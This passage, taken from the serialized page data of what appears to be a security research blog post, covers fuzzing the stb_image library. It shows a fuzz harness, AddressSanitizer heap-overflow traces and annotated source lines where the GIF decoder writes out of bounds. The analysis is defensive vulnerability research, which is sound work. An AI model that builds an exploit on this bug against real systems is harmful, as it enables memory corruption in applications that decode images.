STB_IMAGE_IMPLEMENTATION\n",{"type":22,"tag":264,"props":148736,"children":148737},{"class":1534,"line":1545},[148738,148742],{"type":22,"tag":264,"props":148739,"children":148740},{"style":4328},[148741],{"type":27,"value":91738},{"type":22,"tag":264,"props":148743,"children":148744},{"style":1597},[148745],{"type":27,"value":148746}," \"./stb/stb_image.h\"\n",{"type":22,"tag":264,"props":148748,"children":148749},{"class":1534,"line":1560},[148750],{"type":22,"tag":264,"props":148751,"children":148752},{"emptyLinePlaceholder":17},[148753],{"type":27,"value":4986},{"type":22,"tag":264,"props":148755,"children":148756},{"class":1534,"line":1569},[148757,148761,148765,148769,148773,148778,148782,148787,148791,148796],{"type":22,"tag":264,"props":148758,"children":148759},{"style":4293},[148760],{"type":27,"value":20352},{"type":22,"tag":264,"props":148762,"children":148763},{"style":4401},[148764],{"type":27,"value":92103},{"type":22,"tag":264,"props":148766,"children":148767},{"style":1539},[148768],{"type":27,"value":2660},{"type":22,"tag":264,"props":148770,"children":148771},{"style":4293},[148772],{"type":27,"value":20352},{"type":22,"tag":264,"props":148774,"children":148775},{"style":1549},[148776],{"type":27,"value":148777}," argc",{"type":22,"tag":264,"props":148779,"children":148780},{"style":1539},[148781],{"type":27,"value":4380},{"type":22,"tag":264,"props":148783,"children":148784},{"style":4293},[148785],{"type":27,"value":148786},"char",{"type":22,"tag":264,"props":148788,"children":148789},{"style":4309},[148790],{"type":27,"value":91204},{"type":22,"tag":264,"props":148792,"children":148793},{"style":1549},[148794],{"type":27,"value":148795},"argv",{"type":22,"tag":264,"props":148797,"children":148798},{"style":1539},[148799],{"type":27,"value":16103},{"type":22,"tag":264,"props":148801,"children":148802},{"class":1534,"line":1583},[148803,148807],{"type":22,"tag":264,"props":148804,"children":148805},{"style":4293},[148806],{"type":27,"value":20382},{"type":22,"tag":264,"props":148808,"children":148809},{"style":1539},[148810],{"type":27,"value":148811}," x, y, comp;\n",{"type":22,"tag":264,"props":148813,"children":148814},{"class":1534,"line":1603},[148815,148820,148824,148828],{"type":22,"tag":264,"props":148816,"children":148817},{"style":4293},[148818],{"type":27,"value":148819},"    unsigned",{"type":22,"tag":264,"props":148821,"children":148822},{"style":4293},[148823],{"type":27,"value":60370},{"type":22,"tag":264,"props":148825,"children":148826},{"style":4309},[148827],{"type":27,"value":11115},{"type":22,"tag":264,"props":148829,"children":148830},{"style":1539},[148831],{"type":27,"value":148832},"ret;\n",{"type":22,"tag":264,"props":148834,"children":148835},{"class":1534,"line":1612},[148836],{"type":22,"tag":264,"props":148837,"children":148838},{"emptyLinePlaceholder":17},[148839],{"type":27,"value":4986},{"type":22,"tag":264,"props":148841,"children":148842},{"class":1534,"line":1621},[148843,148847,148852,148856,148860],{"type":22,"tag":264,"props":148844,"children":148845},{"style":4328},[148846],{"type":27,"value":13578},{"type":22,"tag":264,"props":148848,"children":148849},{"style":1539},[148850],{"type":27,"value":148851}," (argc ",{"type":22,"tag":264,"props":148853,"children":148854},{"style":4309},[148855],{"type":27,"value":16988},{"type":22,"tag":264,"props":148857,"children":148858},{"style":4344},[148859],{"type":27,"value":9228},{"type":22,"tag":264,"props":148861,"children":148862},{"style":1539},[148863],{"type":27,"value":16103},{"type":22,"tag":264,"props":148865,"children":148866},{"class":1534,"line":1629},[148867,148871,148875],{"type":22,"tag":264,"props":148868,"children":148869},{"style":4328},[148870],{"type":27,"value":17044},{"type":22,"tag":264,"props":148872,"children":148873},{"style":4344},[148874],{"type":27,"value":5817},{"type":22,"tag":264,"props":148876,"children":148877},{"style":1539},[148878],{"type":27,"value":4322},{"type":22,"tag":264,"props":148880,"children":148881},{"class":1534,"line":1642},[148882],{"type":22,"tag":264,"props":148883,"children":148884},{"style":1539},[148885],{"type":27,"value":1674},{"type":22,"tag":264,"props":148887,"children":148888},{"class":1534,"line":1660},[148889],{"type":22,"tag":264,"props":148890,"children":148891},{"emptyLinePlaceholder":17},[148892],{"type":27,"value":4986},{"type":22,"tag":264,"props":148894,"children":148895},{"class":1534,"line":1668},[148896,148901,148905,148910,148914,148918,148922,148926,148930,148934,148939,148943,148948,148952,148957,148961],{"type":22,"tag":264,"props":148897,"children":148898},{"style":1539},[148899],{"type":27,"value":148900},"    ret ",{"type":22,"tag":264,"props":148902,"children":148903},{"style":4309},[148904],{"type":27,"value":429},{"type":22,"tag":264,"props":148906,"children":148907},{"style":4401},[148908],{"type":27,"value":148909}," stbi_load",{"type":22,"tag":264,"props":148911,"children":148912},{"style":1539},[148913],{"type":27,"value":2660},{"type":22,"tag":264,"props":148915,"children":148916},{"style":1549},[148917],{"type":27,"value":148795},{"type":22,"tag":264,"props":148919,"children":148920},{"style":1539},[148921],{"type":27,"value":5045},{"type":22,"tag":264,"props":148923,"children":148924},{"style":4344},[148925],{"type":27,"value":602},{"type":22,"tag":264,"props":148927,"children":148928},{"style":1539},[148929],{"type":27,"value":24361},{"type":22,"tag":264,"props":148931,"children":148932},{"style":4309},[148933],{"type":27,"value":4413},{"type":22,"tag":264,"props":148935,"children":148936},{"style":1539},[148937],{"type":27,"value":148938},"x, ",{"type":22,"tag":264,"props":148940,"children":148941},{"style":4309},[148942],{"type":27,"value":4413},{"type":22,"tag":264,"props":148944,"children":148945},{"style":1539},[148946],{"type":27,"value":148947},"y, ",{"type":22,"tag":264,"props":148949,"children":148950},{"style":4309},[148951],{"type":27,"value":4413},{"type":22,"tag":264,"props":148953,"children":148954},{"style":1539},[148955],{"type":27,"value":148956},"comp, ",{"type":22,"tag":264,"props":148958,"children":148959},{"style":4344},[148960],{"type":27,"value":5334},{"type":22,"tag":264,"props":148962,"children":148963},{"style":1539},[148964],{"type":27,"value":5142},{"type":22,"tag":264,"props":148966,"children":148967},{"class":1534,"line":1677},[148968,148972,148977,148981,148985],{"type":22,"tag":264,"props":148969,"children":148970},{"style":4328},[148971],{"type":27,"value":13578},{"type":22,"tag":264,"props":148973,"children":148974},{"style":1539},[148975],{"type":27,"value":148976}," (ret ",{"type":22,"tag":264,"props":148978,"children":148979},{"style":4309},[148980],{"type":27,"value":9870},{"type":22,"tag":264,"props":148982,"children":148983},{"style":4293},[148984],{"type":27,"value":129070},{"type":22,"tag":264,"props":148986,"children":148987},{"style":1539},[148988],{"type":27,"value":16103},{"type":22,"tag":264,"props":148990,"children":148991},{"class":1534,"line":1686},[148992,148996,149000],{"type":22,"tag":264,"props":148993,"children":148994},{"style":4328},[148995],{"type":27,"value":17044},{"type":22,"tag":264,"props":148997,"children":148998},{"style":4344},[148999],{"type":27,"value":5817},{"type":22,"tag":264,"props":149001,"children":149002},{"style":1539},[149003],{"type":27,"value":4322},{"type":22,"tag":264,"props":149005,"children":149006},{"class":1534,"line":4948},[149007],{"type":22,"tag":264,"props":149008,"children":149009},{"style":1539},[149010],{"type":27,"value":1674},{"type":22,"tag":264,"props":149012,"children":149013},{"class":1534,"line":4957},[149014],{"type":22,"tag":264,"props":149015,"children":149016},{"style":1539},[149017],{"type":27,"value":63108},{"type":22,"tag":264,"props":149019,"children":149020},{"class":1534,"line":4980},[149021,149026],{"type":22,"tag":264,"props":149022,"children":149023},{"style":4401},[149024],{"type":27,"value":149025},"    stbi_image_free",{"type":22,"tag":264,"props":149027,"children":149028},{"style":1539},[149029],{"type":27,"value":149030},"(ret);\n",{"type":22,"tag":264,"props":149032,"children":149033},{"class":1534,"line":4989},[149034],{"type":22,"tag":264,"props":149035,"children":149036},{"emptyLinePlaceholder":17},[149037],{"type":27,"value":4986},{"type":22,"tag":264,"props":149039,"children":149040},{"class":1534,"line":4998},[149041,149045,149049],{"type":22,"tag":264,"props":149042,"children":149043},{"style":4328},[149044],{"type":27,"value":18291},{"type":22,"tag":264,"props":149046,"children":149047},{"style":4344},[149048],{"type":27,"value":4347},{"type":22,"tag":264,"props":149050,"children":149051},{"style":1539},[149052],{"type":27,"value":4322},{"type":22,"tag":264,"props":149054,"children":149055},{"class":1534,"line":5067},[149056],{"type":22,"tag":264,"props":149057,"children":149058},{"style":1539},[149059],{"type":27,"value":1692},{"type":22,"tag":23,"props":149061,"children":149062},{},[149063],{"type":27,"value":149064},"And soon after starting the fuzzer it found an interesting bug:",{"type":22,"tag":618,"props":149066,"children":149068},{"code":149067},"=================================================================\n==1087247==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x52d000008800 thread T0\n    #0 0x655424309a49 in stbi__out_gif_code stb/stb_image.h:6233\n    #1 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n    #2 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n    [...]\n    #19 0x65542430a697 in stbi__process_gif_raster stb/stb_image.h:6326\n    #20 0x65542430b936 in stbi__gif_load_next stb/stb_image.h:6443\n    #21 0x65542430c90e in stbi__gif_load stb/stb_image.h:6573\n    #22 0x6554242fc0d4 in stbi__load_main stb/stb_image.h:989\n    #23 0x6554242fc927 in stbi__load_and_postprocess_8bit stb/stb_image.h:1088\n    #24 0x6554242fd34f in stbi_load_from_file stb/stb_image.h:1174\n    #25 0x6554242fd22c in stbi_load stb/stb_image.h:1164\n    [...]\n",[149069],{"type":22,"tag":257,"props":149070,"children":149071},{"__ignoreMap":7},[149072],{"type":27,"value":149067},{"type":22,"tag":20197,"props":149074,"children":149076},{"id":149075},"investigating-the-finding",[149077],{"type":27,"value":149078},"Investigating the Finding",{"type":22,"tag":23,"props":149080,"children":149081},{},[149082,149084,149090,149091,149096],{"type":27,"value":149083},"The ASAN output shows that at line ",{"type":22,"tag":257,"props":149085,"children":149087},{"className":149086},[],[149088],{"type":27,"value":149089},"6233",{"type":27,"value":144590},{"type":22,"tag":257,"props":149092,"children":149094},{"className":149093},[],[149095],{"type":27,"value":148623},{"type":27,"value":149097}," an attempt was made to write a single byte out-of-bounds. Looking at the nearby source:",{"type":22,"tag":618,"props":149099,"children":149101},{"code":149100,"language":4449,"meta":7,"className":17815,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n   stbi_uc *p, *c;\n   int idx; \n\n   [...]\n\n   if (g->cur_y >= g->max_y) return;\n\n   idx = g->cur_x + g->cur_y; \n   p = &g->out[idx];\n   g->history[idx / 4] = 1;          // OOB write\n",[149102],{"type":22,"tag":257,"props":149103,"children":149104},{"__ignoreMap":7},[149105,149147,149154,149180,149193,149200,149208,149215,149269,149276,149322,149355],{"type":22,"tag":264,"props":149106,"children":149107},{"class":1534,"line":1535},[149108,149112,149116,149121,149126,149130,149134,149139,149143],{"type":22,"tag":264,"props":149109,"children":149110},{"style":4293},[149111],{"type":27,"value":52365},{"type":22,"tag":264,"props":149113,"children":149114},{"style":4293},[149115],{"type":27,"value":52370},{"type":22,"tag":264,"props":149117,"children":149118},{"style":4401},[149119],{"type":27,"value":149120}," stbi__out_gif_code",{"type":22,"tag":264,"props":149122,"children":149123},{"style":1539},[149124],{"type":27,"value":149125},"(stbi__gif ",{"type":22,"tag":264,"props":149127,"children":149128},{"style":4309},[149129],{"type":27,"value":5865},{"type":22,"tag":264,"props":149131,"children":149132},{"style":1549},[149133],{"type":27,"value":110619},{"type":22,"tag":264,"props":149135,"children":149136},{"style":1539},[149137],{"type":27,"value":149138},", stbi__uint16 ",{"type":22,"tag":264,"props":149140,"children":149141},{"style":1549},[149142],{"type":27,"value":257},{"type":22,"tag":264,"props":149144,"children":149145},{"style":1539},[149146],{"type":27,"value":4463},{"type":22,"tag":264,"props":149148,"children":149149},{"class":1534,"line":1545},[149150],{"type":22,"tag":264,"props":149151,"children":149152},{"style":1539},[149153],{"type":27,"value":1542},{"type":22,"tag":264,"props":149155,"children":149156},{"class":1534,"line":1560},[149157,149162,149166,149171,149175],{"type":22,"tag":264,"props":149158,"children":149159},{"style":1539},[149160],{"type":27,"value":149161},"   stbi_uc ",{"type":22,"tag":264,"props":149163,"children":149164},{"style":4309},[149165],{"type":27,"value":5865},{"type":22,"tag":264,"props":149167,"children":149168},{"style":1539},[149169],{"type":27,"value":149170},"p, ",{"type":22,"tag":264,"props":149172,"children":149173},{"style":4309},[149174],{"type":27,"value":5865},{"type":22,"tag":264,"props":149176,"children":149177},{"style":1539},[149178],{"type":27,"value":149179},"c;\n",{"type":22,"tag":264,"props":149181,"children":149182},{"class":1534,"line":1569},[149183,149188],{"type":22,"tag":264,"props":149184,"children":149185},{"style":4293},[149186],{"type":27,"value":149187},"   int",{"type":22,"tag":264,"props":149189,"children":149190},{"style":1539},[149191],{"type":27,"value":149192}," idx; \n",{"type":22,"tag":264,"props":149194,"children":149195},{"class":1534,"line":1583},[149196],{"type":22,"tag":264,"props":149197,"children":149198},{"emptyLinePlaceholder":17},[149199],{"type":27,"value":4986},{"type":22,"tag":264,"props":149201,"children":149202},{"class":1534,"line":1603},[149203],{"type":22,"tag":264,"props":149204,"children":149205},{"style":1539},[149206],{"type":27,"value":149207},"   [...]\n",{"type":22,"tag":264,"props":149209,"children":149210},{"class":1534,"line":1612},[149211],{"type":22,"tag":264,"props":149212,"children":149213},{"emptyLinePlaceholder":17},[149214],{"type":27,"value":4986},{"type":22,"tag":264,"props":149216,"children":149217},{"class":1534,"line":1621},[149218,149222,149226,149230,149234,149239,149243,149248,149252,149257,149261,149265],{"type":22,"tag":264,"props":149219,"children":149220},{"style":4328},[149221],{"type":27,"value":53965},{"type":22,"tag":264,"props":149223,"children":149224},{"style":1539},[149225],{"type":27,"value":4370},{"type":22,"tag":264,"props":149227,"children":149228},{"style":1549},[149229],{"type":27,"value":110619},{"type":22,"tag":264,"props":149231,"children":149232},{"style":1539},[149233],{"type":27,"value":15056},{"type":22,"tag":264,"props":149235,"children":149236},{"style":1549},[149237],{"type":27,"value":149238},"cur_y",{"type":22,"tag":264,"props":149240,"children":149241},{"style":4309},[149242],{"type":27,"value":9596},{"type":22,"tag":264,"props":149244,"children":149245},{"style":1549},[149246],{"type":27,"value":149247}," g",{"type":22,"tag":264,"props":149249,"children":149250},{"style":1539},[149251],{"type":27,"value":15056},{"type":22,"tag":264,"props":149253,"children":149254},{"style":1549},[149255],{"type":27,"value":149256},"max_y",{"type":22,"tag":264,"props":149258,"children":149259},{"style":1539},[149260],{"type":27,"value":4390},{"type":22,"tag":264,"props":149262,"children":149263},{"style":4328},[149264],{"type":27,"value":49777},{"type":22,"tag":264,"props":149266,"children":149267},{"style":1539},[149268],{"type":27,"value":4322},{"type":22,"tag":264,"props":149270,"children":149271},{"class":1534,"line":1629},[149272],{"type":22,"tag":264,"props":149273,"children":149274},{"emptyLinePlaceholder":17},[149275],{"type":27,"value":4986},{"type":22,"tag":264,"props":149277,"children":149278},{"class":1534,"line":1642},[149279,149284,149288,149292,149296,149301,149305,149309,149313,149317],{"type":22,"tag":264,"props":149280,"children":149281},{"style":1539},[149282],{"type":27,"value":149283},"   idx ",{"type":22,"tag":264,"props":149285,"children":149286},{"style":4309},[149287],{"type":27,"value":429},{"type":22,"tag":264,"props":149289,"children":149290},{"style":1549},[149291],{"type":27,"value":149247},{"type":22,"tag":264,"props":149293,"children":149294},{"style":1539},[149295],{"type":27,"value":15056},{"type":22,"tag":264,"props":149297,"children":149298},{"style":1549},[149299],{"type":27,"value":149300},"cur_x",{"type":22,"tag":264,"props":149302,"children":149303},{"style":4309},[149304],{"type":27,"value":10200},{"type":22,"tag":264,"props":149306,"children":149307},{"style":1549},[149308],{"type":27,"value":149247},{"type":22,"tag":264,"props":149310,"children":149311},{"style":1539},[149312],{"type":27,"value":15056},{"type":22,"tag":264,"props":149314,"children":149315},{"style":1549},[149316],{"type":27,"value":149238},{"type":22,"tag":264,"props":149318,"children":149319},{"style":1539},[149320],{"type":27,"value":149321},"; \n",{"type":22,"tag":264,"props":149323,"children":149324},{"class":1534,"line":1660},[149325,149330,149334,149338,149342,149346,149350],{"type":22,"tag":264,"props":149326,"children":149327},{"style":1539},[149328],{"type":27,"value":149329},"   p ",{"type":22,"tag":264,"props":149331,"children":149332},{"style":4309},[149333],{"type":27,"value":429},{"type":22,"tag":264,"props":149335,"children":149336},{"style":4309},[149337],{"type":27,"value":8434},{"type":22,"tag":264,"props":149339,"children":149340},{"style":1549},[149341],{"type":27,"value":110619},{"type":22,"tag":264,"props":149343,"children":149344},{"style":1539},[149345],{"type":27,"value":15056},{"type":22,"tag":264,"props":149347,"children":149348},{"style":1549},[149349],{"type":27,"value":120026},{"type":22,"tag":264,"props":149351,"children":149352},{"style":1539},[149353],{"type":27,"value":149354},"[idx];\n",{"type":22,"tag":264,"props":149356,"children":149357},{"class":1534,"line":1668},[149358,149363,149367,149372,149377,149381,149385,149389,149393,149397,149401],{"type":22,"tag":264,"props":149359,"children":149360},{"style":1549},[149361],{"type":27,"value":149362},"   g",{"type":22,"tag":264,"props":149364,"children":149365},{"style":1539},[149366],{"type":27,"value":15056},{"type":22,"tag":264,"props":149368,"children":149369},{"style":1549},[149370],{"type":27,"value":149371},"history",{"type":22,"tag":264,"props":149373,"children":149374},{"style":1539},[149375],{"type":27,"value":149376},"[idx ",{"type":22,"tag":264,"props":149378,"children":149379},{"style":4309},[149380],{"type":27,"value":2891},{"type":22,"tag":264,"props":149382,"children":149383},{"style":4344},[149384],{"type":27,"value":13044},{"type":22,"tag":264,"props":149386,"children":149387},{"style":1539},[149388],{"type":27,"value":9956},{"type":22,"tag":264,"props":149390,"children":149391},{"style":4309},[149392],{"type":27,"value":429},{"type":22,"tag":264,"props":149394,"children":149395},{"style":4344},[149396],{"type":27,"value":5817},{"type":22,"tag":264,"props":149398,"children":149399},{"style":1539},[149400],{"type":27,"value":50394},{"type":22,"tag":264,"props":149402,"children":149403},{"style":4284},[149404],{"type":27,"value":149405},"          // OOB write\n",{"type":22,"tag":23,"props":149407,"children":149408},{},[149409,149411,149416,149418,149424,149426,149432],{"type":27,"value":149410},"It’s reasonable to assume ",{"type":22,"tag":257,"props":149412,"children":149414},{"className":149413},[],[149415],{"type":27,"value":77843},{"type":27,"value":149417}," is outside the bounds of ",{"type":22,"tag":257,"props":149419,"children":149421},{"className":149420},[],[149422],{"type":27,"value":149423},"g->history",{"type":27,"value":149425},", which leads to a one-byte OOB write (",{"type":22,"tag":257,"props":149427,"children":149429},{"className":149428},[],[149430],{"type":27,"value":149431},"g->history[idx / 4] = 1",{"type":27,"value":149433},"). That single-byte OOB is hard to exploit remotely, but it was the only corruption observed initially, so we investigated further.",{"type":22,"tag":23,"props":149435,"children":149436},{},[149437,149439,149444,149446,149452,149454,149459,149461,149467,149469,149475],{"type":27,"value":149438},"Because ",{"type":22,"tag":257,"props":149440,"children":149442},{"className":149441},[],[149443],{"type":27,"value":23},{"type":27,"value":149445}," is computed from ",{"type":22,"tag":257,"props":149447,"children":149449},{"className":149448},[],[149450],{"type":27,"value":149451},"g->out[idx]",{"type":27,"value":149453}," immediately before the violation, we considered whether ",{"type":22,"tag":257,"props":149455,"children":149457},{"className":149456},[],[149458],{"type":27,"value":77843},{"type":27,"value":149460}," could also be OOB for ",{"type":22,"tag":257,"props":149462,"children":149464},{"className":149463},[],[149465],{"type":27,"value":149466},"g->out",{"type":27,"value":149468},". Note that computing the address ",{"type":22,"tag":257,"props":149470,"children":149472},{"className":149471},[],[149473],{"type":27,"value":149474},"&g->out[idx]",{"type":27,"value":149476}," does not itself access the memory, so ASAN wouldn’t flag it.",{"type":22,"tag":23,"props":149478,"children":149479},{},[149480,149482,149487],{"type":27,"value":149481},"If we comment out ",{"type":22,"tag":257,"props":149483,"children":149485},{"className":149484},[],[149486],{"type":27,"value":149431},{"type":27,"value":149488}," and re-run the fuzzing input, ASAN reports another violation in the same function at a different line:",{"type":22,"tag":618,"props":149490,"children":149492},{"code":149491},"=================================================================\n==8578==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x7f0fe6e6c800 thread T0\n    #0 0x5d54e32a4315 in stbi__out_gif_code stb/stb_image.h:6237\n    [...]\n",[149493],{"type":22,"tag":257,"props":149494,"children":149495},{"__ignoreMap":7},[149496],{"type":27,"value":149491},{"type":22,"tag":23,"props":149498,"children":149499},{},[149500],{"type":27,"value":149501},"This corresponds to:",{"type":22,"tag":618,"props":149503,"children":149505},{"code":149504,"language":4449,"meta":7,"className":17815,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n   [...]\n\n   idx = g->cur_x + g->cur_y; \n   p = &g->out[idx];\n   g->history[idx / 4] = 1;  \n\n   c = &g->color_table[g->codes[code].suffix * 4];\n   if (c[3] > 128) {\n      p[0] = c[2];        // OOB write\n      p[1] = c[1];\n      p[2] = c[0];\n      p[3] = c[3];\n   }\n",[149506],{"type":22,"tag":257,"props":149507,"children":149508},{"__ignoreMap":7},[149509,149548,149555,149562,149569,149612,149643,149687,149694,149762,149802,149847,149886,149925,149964],{"type":22,"tag":264,"props":149510,"children":149511},{"class":1534,"line":1535},[149512,149516,149520,149524,149528,149532,149536,149540,149544],{"type":22,"tag":264,"props":149513,"children":149514},{"style":4293},[149515],{"type":27,"value":52365},{"type":22,"tag":264,"props":149517,"children":149518},{"style":4293},[149519],{"type":27,"value":52370},{"type":22,"tag":264,"props":149521,"children":149522},{"style":4401},[149523],{"type":27,"value":149120},{"type":22,"tag":264,"props":149525,"children":149526},{"style":1539},[149527],{"type":27,"value":149125},{"type":22,"tag":264,"props":149529,"children":149530},{"style":4309},[149531],{"type":27,"value":5865},{"type":22,"tag":264,"props":149533,"children":149534},{"style":1549},[149535],{"type":27,"value":110619},{"type":22,"tag":264,"props":149537,"children":149538},{"style":1539},[149539],{"type":27,"value":149138},{"type":22,"tag":264,"props":149541,"children":149542},{"style":1549},[149543],{"type":27,"value":257},{"type":22,"tag":264,"props":149545,"children":149546},{"style":1539},[149547],{"type":27,"value":4463},{"type":22,"tag":264,"props":149549,"children":149550},{"class":1534,"line":1545},[149551],{"type":22,"tag":264,"props":149552,"children":149553},{"style":1539},[149554],{"type":27,"value":1542},{"type":22,"tag":264,"props":149556,"children":149557},{"class":1534,"line":1560},[149558],{"type":22,"tag":264,"props":149559,"children":149560},{"style":1539},[149561],{"type":27,"value":149207},{"type":22,"tag":264,"props":149563,"children":149564},{"class":1534,"line":1569},[149565],{"type":22,"tag":264,"props":149566,"children":149567},{"emptyLinePlaceholder":17},[149568],{"type":27,"value":4986},{"type":22,"tag":264,"props":149570,"children":149571},{"class":1534,"line":1583},[149572,149576,149580,149584,149588,149592,149596,149600,149604,149608],{"type":22,"tag":264,"props":149573,"children":149574},{"style":1539},[149575],{"type":27,"value":149283},{"type":22,"tag":264,"props":149577,"children":149578},{"style":4309},[149579],{"type":27,"value":429},{"type":22,"tag":264,"props":149581,"children":149582},{"style":1549},[149583],{"type":27,"value":149247},{"type":22,"tag":264,"props":149585,"children":149586},{"style":1539},[149587],{"type":27,"value":15056},{"type":22,"tag":264,"props":149589,"children":149590},{"style":1549},[149591],{"type":27,"value":149300},{"type":22,"tag":264,"props":149593,"children":149594},{"style":4309},[149595],{"type":27,"value":10200},{"type":22,"tag":264,"props":149597,"children":149598},{"style":1549},[149599],{"type":27,"value":149247},{"type":22,"tag":264,"props":149601,"children":149602},{"style":1539},[149603],{"type":27,"value":15056},{"type":22,"tag":264,"props":149605,"children":149606},{"style":1549},[149607],{"type":27,"value":149238},{"type":22,"tag":264,"props":149609,"children":149610},{"style":1539},[149611],{"type":27,"value":149321},{"type":22,"tag":264,"props":149613,"children":149614},{"class":1534,"line":1603},[149615,149619,149623,149627,149631,149635,149639],{"type":22,"tag":264,"props":149616,"children":149617},{"style":1539},[149618],{"type":27,"value":149329},{"type":22,"tag":264,"props":149620,"children":149621},{"style":4309},[149622],{"type":27,"value":429},{"type":22,"tag":264,"props":149624,"children":149625},{"style":4309},[149626],{"type":27,"value":8434},{"type":22,"tag":264,"props":149628,"children":149629},{"style":1549},[149630],{"type":27,"value":110619},{"type":22,"tag":264,"props":149632,"children":149633},{"style":1539},[149634],{"type":27,"value":15056},{"type":22,"tag":264,"props":149636,"children":149637},{"style":1549},[149638],{"type":27,"value":120026},{"type":22,"tag":264,"props":149640,"children":149641},{"style":1539},[149642],{"type":27,"value":149354},{"type":22,"tag":264,"props":149644,"children":149645},{"class":1534,"line":1612},[149646,149650,149654,149658,149662,149666,149670,149674,149678,149682],{"type":22,"tag":264,"props":149647,"children":149648},{"style":1549},[149649],{"type":27,"value":149362},{"type":22,"tag":264,"props":149651,"children":149652},{"style":1539},[149653],{"type":27,"value":15056},{"type":22,"tag":264,"props":149655,"children":149656},{"style":1549},[149657],{"type":27,"value":149371},{"type":22,"tag":264,"props":149659,"children":149660},{"style":1539},[149661],{"type":27,"value":149376},{"type":22,"tag":264,"props":149663,"children":149664},{"style":4309},[149665],{"type":27,"value":2891},{"type":22,"tag":264,"props":149667,"children":149668},{"style":4344},[149669],{"type":27,"value":13044},{"type":22,"tag":264,"props":149671,"children":149672},{"style":1539},[149673],{"type":27,"value":9956},{"type":22,"tag":264,"props":149675,"children":149676},{"style":4309},[149677],{"type":27,"value":429},{"type":22,"tag":264,"props":149679,"children":149680},{"style":4344},[149681],{"type":27,"value":5817},{"type":22,"tag":264,"props":149683,"children":149684},{"style":1539},[149685],{"type":27,"value":149686},";  \n",{"type":22,"tag":264,"props":149688,"children":149689},{"class":1534,"line":1621},[149690],{"type":22,"tag":264,"props":149691,"children":149692},{"emptyLinePlaceholder":17},[149693],{"type":27,"value":4986},{"type":22,"tag":264,"props":149695,"children":149696},{"class":1534,"line":1629},[149697,149702,149706,149710,149714,149718,149723,149727,149731,149735,149740,149745,149750,149754,149758],{"type":22,"tag":264,"props":149698,"children":149699},{"style":1539},[149700],{"type":27,"value":149701},"   c ",{"type":22,"tag":264,"props":149703,"children":149704},{"style":4309},[149705],{"type":27,"value":429},{"type":22,"tag":264,"props":149707,"children":149708},{"style":4309},[149709],{"type":27,"value":8434},{"type":22,"tag":264,"props":149711,"children":149712},{"style":1549},[149713],{"type":27,"value":110619},{"type":22,"tag":264,"props":149715,"children":149716},{"style":1539},[149717],{"type":27,"value":15056},{"type":22,"tag":264,"props":149719,"children":149720},{"style":1549},[149721],{"type":27,"value":149722},"color_table",{"type":22,"tag":264,"props":149724,"children":149725},{"style":1539},[149726],{"type":27,"value":5045},{"type":22,"tag":264,"props":149728,"children":149729},{"style":1549},[149730],{"type":27,"value":110619},{"type":22,"tag":264,"props":149732,"children":149733},{"style":1539},[149734],{"type":27,"value":15056},{"type":22,"tag":264,"props":149736,"children":149737},{"style":1549},[149738],{"type":27,"value":149739},"codes",{"type":22,"tag":264,"props":149741,"children":149742},{"style":1539},[149743],{"type":27,"value":149744},"[code].",{"type":22,"tag":264,"props":149746,"children":149747},{"style":1549},[149748],{"type":27,"value":149749},"suffix",{"type":22,"tag":264,"props":149751,"children":149752},{"style":4309},[149753],{"type":27,"value":11115},{"type":22,"tag":264,"props":149755,"children":149756},{"style":4344},[149757],{"type":27,"value":13044},{"type":22,"tag":264,"props":149759,"children":149760},{"style":1539},[149761],{"type":27,"value":32889},{"type":22,"tag":264,"props":149763,"children":149764},{"class":1534,"line":1642},[149765,149769,149773,149777,149781,149785,149789,149793,149798],{"type":22,"tag":264,"props":149766,"children":149767},{"style":4328},[149768],{"type":27,"value":53965},{"type":22,"tag":264,"props":149770,"children":149771},{"style":1539},[149772],{"type":27,"value":4370},{"type":22,"tag":264,"props":149774,"children":149775},{"style":1549},[149776],{"type":27,"value":4449},{"type":22,"tag":264,"props":149778,"children":149779},{"style":1539},[149780],{"type":27,"value":5045},{"type":22,"tag":264,"props":149782,"children":149783},{"style":4344},[149784],{"type":27,"value":18598},{"type":22,"tag":264,"props":149786,"children":149787},{"style":1539},[149788],{"type":27,"value":9956},{"type":22,"tag":264,"props":149790,"children":149791},{"style":4309},[149792],{"type":27,"value":11760},{"type":22,"tag":264,"props":149794,"children":149795},{"style":4344},[149796],{"type":27,"value":149797}," 128",{"type":22,"tag":264,"props":149799,"children":149800},{"style":1539},[149801],{"type":27,"value":16103},{"type":22,"tag":264,"props":149803,"children":149804},{"class":1534,"line":1660},[149805,149810,149814,149818,149822,149826,149830,149834,149838,149842],{"type":22,"tag":264,"props":149806,"children":149807},{"style":1549},[149808],{"type":27,"value":149809},"      p",{"type":22,"tag":264,"props":149811,"children":149812},{"style":1539},[149813],{"type":27,"value":5045},{"type":22,"tag":264,"props":149815,"children":149816},{"style":4344},[149817],{"type":27,"value":5334},{"type":22,"tag":264,"props":149819,"children":149820},{"style":1539},[149821],{"type":27,"value":9956},{"type":22,"tag":264,"props":149823,"children":149824},{"style":4309},[149825],{"type":27,"value":429},{"type":22,"tag":264,"props":149827,"children":149828},{"style":1549},[149829],{"type":27,"value":38759},{"type":22,"tag":264,"props":149831,"children":149832},{"style":1539},[149833],{"type":27,"value":5045},{"type":22,"tag":264,"props":149835,"children":149836},{"style":4344},[149837],{"type":27,"value":3568},{"type":22,"tag":264,"props":149839,"children":149840},{"style":1539},[149841],{"type":27,"value":57232},{"type":22,"tag":264,"props":149843,"children":149844},{"style":4284},[149845],{"type":27,"value":149846},"        // OOB 